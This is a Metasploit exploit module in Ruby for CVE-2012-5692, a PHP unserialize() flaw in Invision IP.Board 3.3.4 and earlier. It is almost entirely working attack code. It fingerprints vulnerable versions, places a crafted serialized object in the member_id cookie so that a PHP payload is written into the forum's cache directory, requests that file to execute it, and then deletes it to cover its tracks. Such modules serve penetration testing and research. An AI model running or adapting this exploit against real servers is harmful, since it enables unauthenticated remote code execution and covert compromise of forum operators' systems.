Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
			'Description'    => %q{
					This module exploits a php unserialize() vulnerability in Invision IP.Board
				<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
				code under the context of the webserver user.

				The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
				which is called with user controlled data from the cookie. The exploit abuses the
				__destruct() method from the dbMain class to write arbitrary PHP code to a file on
				the Invision IP.Board web directory.

				The exploit has been tested successfully on Invision IP.Board 3.3.4.
			},
			'Author'	=>
				[
					'EgiX',         # Vulnerability discovery and PoC
					'juan vazquez', # Metasploit module
					'sinn3r'        # PhpEXE tekniq & check() method
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-5692' ],
					[ 'OSVDB', '86702' ],
					[ 'BID', '56288' ],
					[ 'EDB', '22398' ],
					[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Space'       => 8000, #Apache's limit for GET
					'DisableNops' => true
				},
			'Targets'        => [ ['Invision IP.Board 3.3.4', {}] ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 25 2012'
			))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
			], self.class)
	end

	def base
		base = target_uri.path
		base << '/' if base[-1, 1] != '/'
		return base
	end

	def check
		res = send_request_raw({'uri'=>"#{base}index.php"})
		return Exploit::CheckCode::Unknown if not res

		version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
		version = version.map {|e| e.to_i}

		# We only want major version 3
		# This version checking is based on OSVDB's info
		return Exploit::CheckCode::Safe if version[0] != 3

		case version[1]
		when 1
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
		when 2
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
		when 3
			return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
		end

		return Exploit::CheckCode::Safe
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			begin
				print_warning("#{@peer} - Deleting #{@upload_php}")
				client.fs.file.rm(@upload_php)
				print_good("#{@peer} - #{@upload_php} removed to stay ninja")
			rescue
				print_error("#{@peer} - Unable to remove #{f}")
			end
		end
	end

	def exploit
		@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
		@peer = "#{rhost}:#{rport}"

		# get_write_exec_payload uses a function, which limits our ability to support
		# Linux payloads, because that requires a space:
		#   function my_cmd
		# becomes:
		#   functionmy_cmd #Causes parsing error
		# We'll have to address that in the mixin, and then come back to this module
		# again later.
		php_payload = get_write_exec_payload(:unlink_self=>true)
		php_payload = php_payload.gsub(/^\<\?php/, '<?')
		php_payload = php_payload.gsub(/ /,'')

		db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

		print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

		res = send_request_cgi(
		{
			'uri' => "#{base}index.php?#{php_payload}",
			'method' => 'GET',
			'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
		})

		if not res or res.code != 200
			print_error("#{@peer} - Exploit failed: #{res.code}")
			return
		end

		print_status("#{@peer} - Executing the payload #{@upload_php}")

		res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

		if res
			print_error("#{@peer} - Payload execution failed: #{res.code}")
			return
		end

	end
end